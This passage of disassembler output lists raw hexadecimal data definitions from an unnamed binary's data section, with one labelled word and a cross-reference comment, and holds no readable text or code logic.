0DBFA0088h dd 0B5D8C6F2h, 58C0DEF8h, 0D77F6498h, 0A6C302B4h, 0CB05E26Fh dd 6AAB8481h, 82E9BFB2h, 998142A2h, 8B84A97Ch, 3681012Ch dd 0A0DB5E9Dh, 465C62h, 97E1648Eh, 0B24D1EC1h, 58C2E8A0h dd 9516E5ECh, 0AC0F157Eh, 0A3FE032h, 8CF6FEh, 0C85271C1h dd 65DDC7E4h, 0AC915706h, 44178B8h, 0B9704715h, 6D688046h dd 0D000E4E2h, 887873EBh, 866830h, 0B80B138Ah, 0C3C31E5h dd 0B611F000h, 20286791h, 0E2F41745h, 0D7D300BFh, 432D418Dh dd 33881200h, 0DC75AF1Bh, 66D30080h, 0BCDAD49h, 27901D28h dd 1C2C7C7Dh, 31005882h, 0F7727E41h, 78380094h, 0C1CFE7BEh dd 2FEA3C02h, 738FB50Eh, 0FE7420B1h, 0C1D8A059h, 0DEACBB38h dd 561AE496h, 7D791200h, 0F5572F1Fh, 27F5Dh, 9C4799CDh dd 70D962CAh, 0A042CE28h, 28F5C10Bh, 0A3C002Bh, 0C06133h dd 0B63B778Bh, 0CFACC9C5h, 2C521100h, 0FA7AC6AAh, 1EDC09D3h dd 0E001644Fh, 703260FCh, 3700543Ch, 4CA8B35h, 2CA2EDh dd 5F423065h, 0D7A5A1A7h, 0E1004190h, 0DB9FFB01h, 31333Fh dd 7219BFFFh, 7FBBB16Fh, 0D2CBB800h, 0AFD4811h, 2FE40016h dd 4DFCFAC1h, 10122E17h, 7C007020h, 1ECA52BBh, 3150063h dd 0ACE1CC21h, 750B7F3Bh, 2044C0FCh, 19633228h, 0DE9B0038h dd 7841ABA6h, 46F8F3FBh, 0BD99403Dh, 17759FFFh, 1C0F2456h dd 941A403Fh, 138EEF6Eh, 47906A2Eh, 951C8B1Ch, 2E3387ABh dd 0F5323D00h, 1AE09A23h, 5FAA030Eh, 798E001Ch, 176E296h dd 1B38C3C0h, 0ECBC9249h, 0FFECE9Ah, 0B43B6F26h, 0A028E589h dd 4619EFDCh, 49D8A005h, 0E77873h, 0B76E63B8h, 95653907h dd 0B2CB500h, 4FB1C552h, 9D1100E7h, 5FB968EBh, 4907BC79h dd 966CD46Ah, 0FBE46070h, 0D6BB00FFh, 0E34BEB5h, 0A39861E0h dd 5EB30B13h, 0F93D2800h, 54567439h, 249DC41Ah, 82CC68EDh dd 1CA8CF9Ah, 0B6406A40h, 373622Dh, 872924h, 78C65044h dd 0ACA6DFF8h, 9246AE02h, 0C68EF313h, 2F682380h, 54C97B00h dd 1BF7320h, 0F31A4BFBh, 20A8BDD3h, 614C175Bh, 272B8E0Ch dd 0A12118F8h, 64EC8981h, 0CF240985h, 1480C89Eh, 0DD3882BAh dd 63D0EF01h, 90F9788Fh, 0AC0A0431h, 70ADD800h, 0B51A31E2h dd 771CA000h, 72B0C793h, 8C66E7B9h, 98011500h, 0FEBA25E7h dd 204C8059h, 5B9B0218h, 0AF234D3h, 0BD1B6440h, 94B05376h dd 0B63D167Ah, 17A50097h, 10368E7Ch, 40EA3714h, 3323B0D0h dd 7F008165h, 9DD28313h, 30F2F4C6h, 93E8DD4Dh, 170EFB7Ah dd 5821D3FDh, 150C178h, 428E0C52h, 0C8C5EA2Fh, 0E9024EA5h dd 8C28119Eh, 4998A07Bh, 7EF2C4B3h, 0FCA50080h, 93F745D2h dd 2F485B6Fh, 9CB20FD0h, 882C36CBh, 64A1B38h, 0ADD89674h dd 0BA0B736Dh, 14673668h, 48894A0h, 80663D0Ch, 291E5834h dd 2383A900h, 0BD4C647Bh, 0E5CA0077h, 0E0C75FFAh, 1200A375h dd 6C53AF29h, 0B402711h, 5228BFD6h, 0F5782480h, 322C1F38h dd 0DB96C0B9h, 0FAABF400h, 2127D9h, 0C92E2F86h, 4CC7C267h dd 0ED103B00h, 73ADBCD5h, 280B86Eh, 0EEAA9C8Ch, 24C869A2h dd 230FB4CBh, 801A8ED8h, 0FE98B6BAh, 2C220B64h, 0AC239459h dd 0AFD861F4h, 1E00CBE1h, 0D5127F47h, 0FCB8B1ACh, 3EDC0501h dd 484FE21Ch, 0C86114CCh, 0C0505D2Ah, 58FA6Ah, 0DFCD3E94h dd 0F0044918h, 0F5830B0Ah, 0A26ED427h, 8719058Ah, 0B1E47CF8h dd 0BFAD644h, 0FC4449h, 63BCA357h, 0EFCE29E5h, 0EBFB6B00h dd 23A20B6Fh, 0C65300C5h, 32463CE2h, 0F2251706h, 2D60825Bh dd 0C22E20BDh, 10CFD349h, 39DE2385h, 0B7D2C8C0h, 4CEA5DD6h dd 10952012h, 8009CE6h, 0CAB84AA6h, 820FE921h, 232CA334h dd 884B547Bh, 0CB1C8BDh, 0CC40AF86h, 0AC903C40h, 9351A703h dd 80F1BB0Fh, 1195975h, 0D26ED1E1h, 0F84484C1h, 0CA0723ADh dd 51EF5853h, 0F4792FD0h, 1267C28h, 34480704h, 0F05D97F6h dd 33018481h, 7DA141C7h, 40F6BB11h, 7FF8F4BDh, 38D6EC90h dd 43809557h, 0DCD42868h, 4600C2AFh, 6609B224h, 0EB7B4Dh dd 719DFDE2h, 5831473Dh, 0B9006099h, 7A49D885h, 151E00DFh dd 54942461h, 5F001D9Fh, 86260F08h, 74137AFBh, 689C0F63h dd 0FAC42BBCh, 0CE04C234h, 0A7005858h, 0E49B719Fh, 77D58EEAh dd 0EE3B28C9h, 43CA00E8h, 412E62Dh, 860029BCh, 0B07F8BF3h dd 8784A4h, 0D5D06857h, 7EBB544Bh, 89EFB407h, 4153F28Fh dd 0CF67E0DCh, 0D2910461h, 8028518Dh, 12175487h, 3CE0F917h dd 0D0F2BCC2h, 15B084h, 94371C8Eh, 293F42E9h, 8A0F9B0Bh dd 863C2403h, 1DA1CA4h dd 50B46918h, 2002485Bh, 585C6668h, 276100A4h, 0F9036B47h dd 0FD3C0110h, 85322289h, 0CA91FCA9h, 0C46CA600h, 0B4752BC8h dd 3B4D0059h, 0CE6A57CBh, 330749FCh, 0B8E479DCh, 7EA7AF1Eh dd 8044F08Bh, 7CCF035Ch, 0D5C21302h, 0EA770001h, 0E1739624h dd 12A46105h, 5488A5F8h, 0CA9705A3h, 0B058980Ch, 0DA243F6Ch dd 4A80F46Ah, 0FFE90B49h, 6E130B0Ah, 230096F1h, 0DE6C4729h dd 4C680600h, 49E02E6Ah, 45200CEh, 0F77EAEFh, 5100A81Ch dd 0C998F1BFh, 18FCD11h, 883B6B63h, 0F4C07B95h, 1F00DB7Ch dd 3242FCB8h, 0A65328h, 0A9444E03h, 0CAD2D815h, 184C548h dd 0FAF7CEBBh, 6C6218E7h, 96757039h, 0B36300F4h, 21234C6Ch dd 0C086D704h, 0F0B28AC7h, 46E415C0h, 7C4D822Ah, 83783A1Ch dd 0E0FB20DCh, 0C8D3F028h, 0D8EB12A2h, 25A0079h, 6B6D4B2Bh dd 4E4DF301h, 93AB1D95h, 3E56E0E6h, 13BB778Ah, 6039B3D0h dd 0CBDE6BC4h, 9EC99A1Ch, 5701384h, 0C1E41492h, 0CC4A0A4h dd 0BF389C09h, 3EE15C8Bh, 0AE9E2403h, 0F5C72B81h, 0C8A0F278h dd 7D65D2DEh, 0A4FC5E00h, 16862798h, 0BDA33B13h, 5AEA7207h dd 0A15280ACh, 0C53CF92Ah, 0A8C82644h, 0B450F2E7h, 4250567h dd 9FED3DD0h, 2B58C861h, 7F4CC8B0h, 1F3413E4h, 320F4880h dd 72CAE64h, 934D0EFEh, 598A329Ch, 6A3A9CC0h, 38561030h dd 0FCE0E433h, 7E26E06Ch, 0FC8E59BAh, 0A8349D07h, 68AFBE1Ah dd 0E033409Eh, 52CDCA9Fh, 8C61BE2Ch, 23B6489h, 7D8AED0Eh dd 21443D01h, 4BBDD804h, 0A854E500h, 0BAB49EE2h, 5CA52EBBh dd 16190038h, 897B53C2h, 292C0459h, 1141305Bh, 3C021D6Bh dd 0D0202C71h, 0F0A1E300h, 1C1F3F18h, 0F59C07C2h, 0B116CEBDh dd 0C88A54E4h, 54B62504h, 0A5B3F8B0h, 1EBC021Fh, 0D6971524h dd 0B0600BC0h, 82AA403Ch, 0C4822845h, 2634C14Ah, 3D97EFDCh dd 10803EB3h, 0BE9CAEB8h, 0D5006914h, 93F9F6FBh, 0E6B6534Dh dd 67A70F45h, 6940A625h, 68364302h, 68A048h, 0F1F3A4Ah dd 908A19D7h, 6CE900A8h, 0CA95B8BDh, 3800343Ch, 39A3B594h dd 9EA779Dh, 6E236FA6h, 89F44807h, 5E091CC5h, 35582496h dd 0DB6CC9h, 0E5D71920h, 0A147ADBFh, 23856100h, 1167442Bh dd 5FB70095h, 9737FD2Fh, 0EE0021DCh, 0F4B9791Eh, 0CE47AEh dd 6CE8489Dh, 0ADF1617Eh, 0D445A700h, 0AD34C44h, 0C67415h dd 62BE8A40h, 80948ED9h, 0F5C07C00h, 64E44296h, 9C63013Ah dd 0E7C31567h, 0A9506074h, 4BD4C149h, 0BA0D2C07h, 0DFEC3560h dd 635D14A7h, 0D01DA6A3h, 2C05815Fh, 8046A9E6h, 62878B20h dd 9EAC17h, 391F9957h, 225AC781h, 0F0454900h, 2C2B555Fh dd 1DF80073h, 1210E08Eh, 0BB4DB618h, 650C0084h, 934A43E2h dd 160D1D53h, 90288FA0h, 586FB420h, 0E6008AC6h, 0AD6E93CCh dd 7F5CFF1Ch, 0F64B43Eh, 41400BC2h, 0D0E94E09h, 580E7CFCh dd 3EDEFADh, 0A82A3638h, 397BF2h, 96E39F8Eh, 0BD2F3D5Ah dd 28F8F3E0h, 0DD86E8FFh, 66733F04h, 1C83E623h, 5085EA9Dh dd 0ED6800D0h, 1F72DFFDh, 0D200383Fh, 333EEB54h, 1918731h dd 223476C7h, 252D3A98h, 8A0EDC08h, 0EBC27A00h, 53D79590h dd 0DBA0260Bh, 54670135h, 24BAE806h, 770007ECh, 0B93F929Dh dd 83FE66h, 0AF400514h, 351E865Eh, 88373A09h, 94A421D5h dd 206074DBh, 1CBF0B4Fh, 6400B65Fh, 4C8D01F4h, 20273230h dd 5092DA4Dh, 31DD66h, 0B7ECE6CBh, 463EA489h, 0FBA82300h dd 1A05A335h, 10C30007h, 0B1C12F14h, 0CA4A8BD7h, 0CEC28005h dd 70FF3C04h, 0B0616300h, 8400686Ch, 731DB3B9h, 310D662h dd 4EED89CFh, 40B0ADBEh, 0EA1D1775h, 0BC00D5EFh, 57D93CFBh dd 7A7B0F5Dh, 0C38012DEh, 0AD1BB2F4h, 3BE60AB8h, 67B04B8h dd 61117600h, 0DBBDD810h, 4046006Ah, 0E9037835h, 0B0000862h dd 93158923h, 0CEA0F7h, 0E09DEB38h, 0BB8E4666h, 1F6F6000h dd 9AE75CBFh, 0E3E100FFh, 0DED81917h, 3828303Fh, 400B4F9h dd 154972F6h, 0B26720h, 0A9E43E16h, 8F01DB99h, 35CAA00Fh dd 0FFC307A5h, 4CDEB6B0h, 0FE3900CCh, 0AD98357h, 700F99Fh dd 72C6086Eh, 0E3B7C41Ch, 9E00EECh, 87D88247h, 3A530C80h dd 1B00D622h, 0C3FA75FDh, 7384C9h, 0B1F35DB7h, 2517115Ch dd 7AEB2B00h, 0BEC6B371h, 7F790F23h, 0E800CCEh, 0E7965118h dd 2F8D8300h, 5FBDDAF9h, 0D2362727h, 3B651880h, 0C0019DBh dd 99DCE5EDh, 0E22E9162h, 0E0955C7Fh, 3C3E3B00h, 0F8D27C32h dd 0DF057098h, 0FA9F1949h, 1315880h, 53410F4Eh, 0BACE3D55h dd 9CC3F2A3h, 0CE37C907h, 91D59B4Ch, 0C05E90E0h, 0FE69F1D9h dd 0BD02C8BFh, 981FAF82h, 7A90F0BBh, 68E31F46h, 0A2B20069h dd 2E8A7A1Eh, 592E80Ch, 25CBC8DBh, 3C919750h, 35C51033h dd 0C5B029h, 0C7EFCAF3h, 1E56E2E4h, 41BC960Eh, 47E100D7h dd 90335A24h, 0FBD200ACh, 3E1914CBh, 0AC71E099h, 0FE7D4807h dd 651315Dh, 0A330DD9Ah, 6F7E0209h, 4D4AC6F2h, 437C00F8h dd 0A8E29807h, 0C2F18B96h, 0B17AF377h, 28D8C434h, 1E16D000h dd 8CA7BA43h, 52860F1Dh, 79807464h, 737BD71Ah, 0EC05547Ah dd 0F47AA412h, 0FF5EA400h, 808AC002h, 2A01325Bh, 7DF503BEh dd 8CF4EC42h, 559F28DBh, 498197E1h, 30D6D30Dh, 0BE07BBEEh dd 5861CB86h, 2C91497h, 607E395Bh, 283795CAh, 1A4C921h dd 52BA3E1Fh, 70F1670Ch, 6302C2E7h, 2FC83256h, 17A0769Bh dd 9F910E1Eh, 0B42183FCh, 409728E9h, 4370EFD6h, 0E750C300h dd 0CBFADD13h, 57CF278Dh, 0AE3A7C66h, 8137BEC4h, 75E0C69Ah dd 71DCE340h, 0E90A0085h, 1D55823Fh, 0BE1F6054h, 8E4046E8h dd 0DC3EAFEFh, 9F8700A3h, 0F68201B1h, 50019454h, 37316C0Dh dd 61CCB9D0h, 0B8C100E6h, 9022F463h, 2778CFA5h, 9F905F7Ah dd 6D2D7E12h, 3759B600h, 923F536h, 0CD66BBD6h, 1A3260A0h dd 55007EA0h, 6A5C1062h, 749303h, 0A6A90A1Dh, 41CA8442h dd 3CF8DC00h, 0DF4C7AC1h, 0C3F170C9h, 1DE02878h, 0EB9AE580h dd 3F5DE379h, 5167131Ch, 3AE7BC00h, 5D32DDBh, 274AFF7Ch dd 2EA0D239h, 1BA3C840h, 54007573h, 58998D42h, 0FD31CEh dd 98FF6A03h, 0E032C9A5h, 0B363C1Eh, 0B6344740h, 5E1715Fh dd 7969E675h, 0AAC780DAh, 8000189Ch, 1DFBA2DEh, 16457CF0h dd 3D67F6h, 65A9CB3Ch, 99008CB7h, 774EB284h, 0E23AD2Ah dd 9D68A135h, 0D4016FE0h, 0F907991Dh, 0D948F16Dh, 3297DD01h dd 2BE3E1h, 4F195598h, 25003FE1h, 0E28D295Dh, 277B653Bh dd 0E0484E6Eh, 561CB367h, 0B680C1CEh, 25A6A0F1h, 0A08976ECh dd 121B2280h, 53DCD5h, 8B7768E1h, 0E800B231h, 35FA0C5Bh dd 0D9820h, 0BD638CE3h, 0C22F86ECh, 86D290Fh, 971F8033h dd 0EAC959h, 0EE80B446h, 2A175456h, 68D8E125h, 25DEB8E4h dd 5002BEFAh, 13E00BDBh, 0D4E697D0h, 782BD807h, 4080DE8Dh dd 0DF94CAh, 74925D75h, 99037920h, 0A950249Fh, 1B4C14B8h dd 0F1149A00h, 0F097A63h, 26A8CA00h, 0D73AEA16h, 7140B012h dd 0A4A11817h, 6FAD5853h, 835FD627h, 9018AF44h, 120ACB32h dd 1B76B7h, 405AA284h, 1A12780Ch, 34E0F3E7h, 237D038Ah dd 1D957510h, 0CF112828h, 0A9A1238h, 0F09DDC93h, 0A0A61A04h dd 1B7B9CD0h, 4BB501C1h, 0E436DA68h, 1FC0200Bh, 74ED2800h dd 7953F86Ch, 13C93DA0h, 0A7E2037Dh, 0B94C7863h, 3D8C80A4h dd 8700BECAh, 1D2E21FCh dd 0F4A4770h, 0A79F963Ah, 0DD6B58E0h, 0B01C84BCh, 73814430h dd 239604F6h, 3AD01DFCh, 3484D963h, 0FC02D759h, 0BCA600CCh dd 289CBEE4h, 247274A0h, 3C08581Eh, 85B9D39Eh, 0E07D9B4Fh dd 6014A90h, 4DDD36EAh, 2864DC32h, 0FC6B17ABh, 9A9080EFh dd 4C3EFFF9h, 968E008Dh, 16716B8h, 79AF130Ch, 0A77802D0h dd 0C4003BB4h, 3F184117h, 0AF00DD2Eh, 854CD745h, 0C790AEAAh dd 0D97A6500h, 105AB41Ah, 8CD100D4h, 7D07406Fh, 254CA2A4h dd 15160010h, 44432EFCh, 0AFA11241h, 1E304073h, 28F40154h dd 0F0C83304h, 0C0AC8263h, 4F81E43Bh, 8079B234h, 45177059h dd 0F40154B8h, 0E8088CD8h, 6BF80FA5h, 64BE4C1Dh, 95F93300h dd 74997839h, 0E7608197h, 0CE0142FDh, 829805Bh, 8FB7FACDh dd 24EE94h, 0F8168A34h, 0F217AE6Bh, 41B30200h, 569340D3h dd 0F04200FEh, 0AFB6CDBDh, 6A001864h, 82F4E59Dh, 0F6D8F5CBh dd 310900BAh, 5884261Dh, 0FC2505A4h, 8608027h, 50674628h dd 788BECECh, 961F007Ah, 0B972B4CBh, 0E477F3E5h, 0AED71900h dd 1C436BC0h, 0EB78C7C6h, 2F29B13Eh, 2B4AE026h, 7E88084Dh dd 80FF5427h, 9238E240h, 20311827h, 50FC48A7h, 2B38029Fh dd 3D26605Eh, 8EFF0057h, 62D03022h, 3600F2E2h, 0EC5FB973h dd 52586Ah, 0AAB518D1h, 0BD897516h, 8344BA00h, 0DC1932B2h dd 794E00FFh, 49E1A596h, 542DC480h, 0B474C9h, 2CFC7C4Dh dd 8600D821h, 0C2452ADEh, 68EE867h, 9A98F2DCh, 0B0032861h dd 0F8A392B4h, 910598C8h, 0AF94A82Ah, 0C48491Eh, 0FD14B700h dd 5A7039FAh, 72BC1800h, 0BFC095DEh, 7CC72428h, 0ABAD00BCh dd 0AFE3295Fh, 0F10B1700h, 0C80E9499h, 4527014Fh, 7B3F6D77h dd 84BC28CBh, 31002F39h, 3763BF51h, 6E42FC0Fh, 53552045h dd 0E09444A8h, 8CAC007Dh, 91C05D96h, 3209EE38h, 0DAC44FD7h dd 2EE200D8h, 0DF6133CBh, 0E0909CC7h, 1D915900h, 0ADF58C7Bh dd 31CA0048h, 5D5F057Dh, 2000CF81h, 0B2D6CB15h, 1FAEC24h dd 644E1651h, 50A4AE82h, 54E61F84h, 0A9E7A318h, 0BA3650D0h dd 7209006Ch, 85C0C846h, 0F700B76Ah, 61FFC39Eh, 1FC52ED4h dd 37170FBh, 62E68ACAh, 9AF037F0h, 0ECCFCD24h, 7059030Eh dd 53EED500h, 0FDBA9FA6h, 1C256B05h, 0F580E0C1h, 90152E51h dd 0B00B1433h, 2200C84Ah, 0F6446CF8h, 0A0A03B17h, 987918FBh dd 0C19CA01Ch, 6B1D9240h, 95FBEB6h, 0CF235F9h, 7000A0F8h dd 605EA324h, 9CC2BF3Fh, 51B98014h, 1645C39Fh, 7491200h dd 30CE339Ah, 0A7C80FE2h, 0CD80F810h, 0BB71DC77h, 8B003771h dd 0C85CB01Eh, 168C5h, 98058985h, 0A8E6D9B3h, 8037743Dh dd 0EC427E09h, 27F78104h, 34808915h, 94587BE5h, 605B7D72h dd 5AFFF403h, 0DD88883Ch, 2D9000A6h, 0D37D0603h, 0DA006AA7h dd 0BA04CB76h, 21E6816h, 0C5B31762h, 0F18039CDh, 88F3567Dh dd 0C30B61C5h, 0E589B880h, 0B6F7BB8h, 0A694D49Eh, 990FA08Fh dd 6781BA0Fh, 34F0744Bh, 4F7071E4h, 0AA20B300h, 0A9C8A7A6h dd 9EFF00ABh, 0C92A883Eh, 0BE003406h, 0D62BFBAh, 70C0A6C7h dd 0F6F107BCh, 0F497110h, 9E9177E0h, 9500638Dh, 8637AD4Fh dd 78EBEF4Ch, 79151825h, 0F30430F0h, 40A92A71h, 0A8F1074Dh dd 8880A9A6h, 0B97A7B5h, 389A2906h, 8AB7AF00h, 0E1D0427Ah dd 0C33B1FDDh, 98003982h, 771BCDD2h, 0C7004885h, 69C68829h dd 0FBEE5DF5h, 2C7896C0h, 1EF8B26Fh, 80C1DD38h, 7DA521BFh dd 451874CEh, 0D56927C3h, 8A790016h, 2401068Eh, 7D183256h dd 4D214178h, 0B88D61CAh, 208B1B53h, 0E81EE98Fh, 90839FBFh dd 0F006F9AEh, 7F30B4AFh, 0F3F40C5Ch, 9C41D73Fh, 0E4660216h dd 32D538C1h, 6B6CAD8h, 0C34E3F8Bh, 0BCB0292Dh, 47D7BE00h dd 0BC3D188Fh, 7F8EF215h, 0F87B5446h, 67560EF0h, 17002FD1h dd 9770C83Fh, 0BF661C00h, 0AD200C2Ah, 16E201AFh, 54EEDD32h dd 0BC7980E3h, 24562223h, 0B8483EFEh, 718F068Ch, 0BE00DF59h dd 1B61F6BBh, 5E07CEh, 0ECFF88B5h, 9B04A445h, 0C52B3E06h dd 51CB0Bh, 2C49744Ch, 5477E53Fh, 0EEFD5600h, 4532A891h dd 0F8F14A8Ah, 0B023038Bh, 0DEC48C8Eh, 0A1C600E9h, 0AD8F432Bh dd 31002FE0h, 26B82362h, 9B3AF4h, 3DFE2DEEh, 8AC377D4h dd 8CF5C602h, 0A0BFA9F1h, 873874C4h, 78B147h, 0AA8E15FFh dd 500D917h, 8C37B012h, 14E00987h, 0C0902B8Bh, 0C7655BC0h dd 9A035F22h, 47ADBDC5h, 3C59002Fh, 0C03888F5h, 6E002562h dd 0DCD68EACh, 66B1850h, 661F48F0h, 510008F4h, 8DFFDF35h dd 0E29AED3Ah, 73E01F80h, 9CF1434Bh, 96E14481h, 72A9F097h dd 0F44F8203h, 0C150886Fh, 0DDD0A5D7h, 7FF07Dh, 444C7F2h dd 0FB9CDAF1h, 78D45A27h, 93C00054h, 83FFB54Fh, 8B3CDF43h dd 1ED008Ch, 6EF97F94h, 3A6C7896h, 306797E1h, 3F9FC78Eh dd 0FF80370Eh, 71E03CB0h, 0C8148A1Dh, 49139805h, 0EB046411h dd 0F330CBFh, 18631053h, 1864D2C4h, 21CF6A18h, 0A09A209Dh dd 0C8F079h, 5198EA57h, 5947E866h, 3E06D775h, 0EF0C9049h dd 147E59h, 95DDA42Eh, 7D7560DBh, 202208CBh, 2E9035D4h dd 0FB040693h, 195EE0D1h, 9941BD30h, 622E664h, 5885CC4Bh dd 0A0DF412Dh, 0D21E6B50h, 441C28E9h, 0B600D03Ch, 0FF29CFABh dd 7048EE8Fh, 0C2780095h, 0A126DC23h, 631864F9h, 0D2E9A8BDh dd 245D50F7h, 0D7138946h, 48E037B2h, 0A006FF0h, 0FAF24CB6h dd 60BCB71Eh, 4A8293Dh, 0D8014924h, 0BFF04786h, 0A9D140AEh dd 0AC832180h, 52CDA123h, 0C77EA600h, 0B84AE542h, 2054307Ch dd 48D78690h, 0F784C000h, 0FC7757CBh, 0C2990F46h, 18808356h dd 0F8785FF3h, 0B8533B28h, 9330C4E4h, 6505287Fh, 0C0EEE261h dd 0AFB9FFD1h, 8F0E788Ch, 38A03D10h, 0C0654308h, 0AFB1BC20h dd 0B70052FDh, 0F82E44E2h, 2A06EE1Eh, 39842033h, 7D0067AAh dd 0C70E62FCh, 34001628h, 91C05961h, 58D5527h, 0C16346ECh dd 92A421E6h, 0D4DD1058h, 0A06C66EFh, 0D21A81C8h, 84214AE1h dd 0EA609E18h, 0DD23BA2Eh, 911E5h, 3D2E922Fh, 6FC1FFh dd 107F9B06h, 3A455F14h, 0DE2BE801h, 48F566C6h, 30AA3042h dd 86082E8Eh, 64CEC5DDh, 969B4008h, 2ACD2Eh, 21FF8AB1h dd 59E18116h, 0E1FCC233h, 3DBB8178h, 0E954C041h, 3ECF81CFh dd 5ABD108Ah, 0CBB083F8h, 65C0E04Eh, 5D124626h, 381085FBh dd 0D1D81E24h, 0A13940D9h, 0B62C0815h, 4C23A7C0h, 40AE21D8h dd 88025391h, 8A14238Fh, 0FAAF0C41h, 0AC47EC0Ah, 1C5298Ch dd 0BA45417Bh, 0E4B46BF9h, 0C212650Bh, 6801D4A4h, 435C7BBDh dd 14B22080h, 0A26621FBh, 0C180B471h, 0CBC2423h, 4180899Ch dd 0D6F33800h, 0F0A0609Bh, 5530E06Eh, 0ECF58058h, 748C29D2h dd 21823FF4h, 0D79C3FF8h, 6500CCBDh, 8A72D515h, 1737EAFh dd 16C95437h, 8052BB93h, 74F3E8E9h, 75A5CCCh, 0A3E96795h dd 2DBF9013h, 8E196354h, 9D8085BAh, 2E09EB18h, 9C8DDDB9h dd 93360054h, 0ED9A6B2Eh, 0AC4C86C1h, 0FD8C0286h, 846A63C3h dd 48D24780h, 96AF811Fh, 11BF6217h, 0C1024A00h, 0FB9D86EDh dd 836E533h, 0A8210070h, 92E40262h, 0FC50149Fh, 9E3BD9B8h dd 653D0C40h, 185B296Dh, 20D8D4A9h, 0B44D7BD7h, 0F4B20A1Ch dd 49403893h, 46EE0402h, 7C223Eh, 0DB0261A7h, 0E83D6032h dd 85AA1815h, 513378A0h, 0F017296Ch, 2A478B3Ch, 3C443E10h dd 0D1A0D793h, 8934E61Fh dd 80409114h, 0ED960247h, 7D448C4Eh, 25F00A1h, 983B684Ch dd 0BD22CD66h, 54DA3D58h, 3DE52701h, 0EFE8FA2Ch, 20A4BB81h dd 3E295F1Ch, 0A307B452h, 40E04255h, 3C4E7110h, 64D0DB76h dd 7558A07Ch, 8F0C9C70h, 2111898h, 0CFD79F67h, 5F30408Eh dd 0D1090010h, 0D8FA0570h, 36F56498h, 0AFBB02A8h, 31BF78EAh dd 0B3AE1044h, 5B7400AFh, 0A88FA1C8h, 0FF037572h, 89D70454h dd 0D42F9587h, 16027F23h, 41621B28h, 70312DB0h, 221A7002h dd 0C7235833h, 7DE4C871h, 153D0002h, 4781A0A4h, 0F0242CDDh dd 8F01547Ch, 0FDC66384h, 0EB99D980h, 6778E3E1h, 1EFB1009h dd 8140B2B8h, 7ED84AFDh, 4C226C66h, 23A98603h, 0CE7810h dd 291D9451h, 0C5774131h, 97DE7500h, 0DCFF3B5Bh, 0CA219F7h dd 20B3E8E9h, 48C925Ch, 0ED95024Eh, 100F6466h, 0A30280ACh dd 0C48B33h, 0DAED3DF0h, 0A0F1AEC3h, 0BDB4F90Ch, 7A79994Dh dd 572100A9h, 0C014EA34h, 87030A04h, 0CB67D94Ch, 0DB97A07Fh dd 8891E53Dh, 2538095h, 916EEDC2h, 4BADC0A0h, 53037902h dd 7661AF40h, 4440ACDDh, 5651D878h, 0D9055890h, 0F7AAFDC4h dd 304BD092h, 8E08AF87h, 66169F78h, 0BA0021EAh, 8BB3AFBFh dd 1240E332h, 716C06Ch, 762567F8h, 63F130FDh, 64ECA1FCh dd 9104CC0Ch, 0B078D955h, 0F6C328D0h, 20848126h, 4A41CC18h dd 8858D830h, 0C730C40Fh, 0EBC01853h, 8051642Ah, 0AFBD60A5h dd 8C7873E8h, 0B5E011F3h, 1259F4h, 6DC3BFE1h, 0BBC4DDABh dd 78586261h, 74243FE8h, 0D2439DFDh, 0B2A71813h, 7F00346Eh dd 601AA77Eh, 5944BD68h, 88DD0081h, 93654FCBh, 23018AEAh dd 5577193Fh, 0C771D721h, 308FD842h, 0A810024Dh, 0ABE09EEDh dd 640002A5h, 0BFE37A50h, 5098A7EDh, 7DFB0F7h, 0D8082D6Eh dd 5DE2A23h, 8B44F6F9h, 0C022C884h, 209921F6h, 4315D71Ch dd 307533FEh, 76892440h, 6B2108F0h, 0A7EBBF01h, 8884EED0h dd 907054B7h, 0E9A48598h, 0D52420C0h, 1528C3Ch, 556DEA2Eh dd 2840EED8h, 8C09BCE8h, 0E5DFCC00h, 4A528D43h, 0DB060930h dd 20F678h, 0A97D7CF1h, 71242014h, 537470F8h, 50B0C8DCh dd 28D45D4Ch, 1BFC73F7h, 6126344Fh, 0FC33BBB9h, 0C37E1C55h dd 970099E0h, 25A5343h, 9896FEECh, 12C8DD70h, 6F71121Ah dd 5FD300E4h, 0A98D5875h, 10F80051h, 426FE9CEh, 964BEDh dd 0C280BD11h, 76D85323h, 85A7448Ch, 6423AA1Ch, 63803540h dd 50141862h, 10ACF3h, 0F52C5396h, 7D898220h, 0AC900FF8h dd 0A2026646h, 0B778EBAFh, 0ED10D531h, 2A07AFBAh, 8A35CD43h dd 0FDECAD43h, 0A9248010h, 0D85930E6h, 0A9C5D914h, 0ECEF09CCh dd 31082FCDh, 852E8F80h, 0CD43EDDDh, 32280C22h, 3301C597h dd 0D7FE2A57h, 0FCD9342Ch, 0E8B28833h, 7BF030h, 35B54360h dd 0CEB0C15Ch, 14B26C90h, 0C49D9320h, 26A9068h, 5163C9C0h dd 45E084E0h, 109C9A9Ch, 0C0265F2h, 0B434BF93h, 0CBC2D803h dd 0C0D90059h, 38563388h, 0D1792263h, 4B521C00h, 0B961E7ABh dd 17EB2EB3h, 95B840F0h, 0A4025E37h, 0CBC1BDE1h, 58FF41CDh dd 9D293E4h, 0A8914E55h, 6E94C80Ah, 0BF154BA0h, 2901E440h dd 9F944FACh, 9092E9C0h, 0FC3002D9h, 0A090D077h, 0BF0FD6E5h dd 8082021Eh, 0A3DCAF2Fh, 580A6414h, 61E40F7h, 28580B5Dh dd 12EB83B0h, 3A9CF694h, 7EA2338h, 33CE3891h, 3B8F5440h dd 0D8772002h, 7B42C4E6h, 88895B06h, 0BB7CC0DCh, 89366225h dd 91B41738h, 0A71A807Bh, 5BD4F91h, 0D2010569h, 8CD052EFh dd 8E0087C4h, 80C6B07Fh, 7C94E99Ch, 93A0B11Bh, 0F5588C9Dh dd 48DBCB10h, 50895C71h, 7D8C71BCh, 54BB307Bh, 7CA24D81h dd 90B64617h db 0, 0BAh word_505446 dw 1D98h ; DATA XREF: ___:off_4374C8o dd 0A9AF0Ch, 0D7655516h, 783C7E29h, 0CFACD154h, 0EA011A03h dd 98DCBECDh, 70266CBBh, 90C80832h, 3F0008C0h, 0F676751Fh dd 838D2F8h, 95C0BC48h, 21D84E23h, 4B91409Eh, 239D820Fh dd 7C566040h, 0D724FAEDh, 9017DE5h, 0CFC0A7EFh, 22C6AC24h dd 0BC90A9D9h, 0D6D1F899h, 1F003218h, 244685E5h, 125BB183h dd 4465A854h, 5D5AE318h, 7B48D1B0h, 0D19109BDh, 0D41C5598h dd 3066092Dh, 698050h, 351D3999h, 0C6747AC8h, 0B48E7509h dd 504466h, 0C8E20B31h, 0A76E61CCh, 632A0100h, 15453D52h dd 7C890A5h, 0BC95E054h, 0A0DBB6DDh, 0E6444044h, 8DBCB8A7h dd 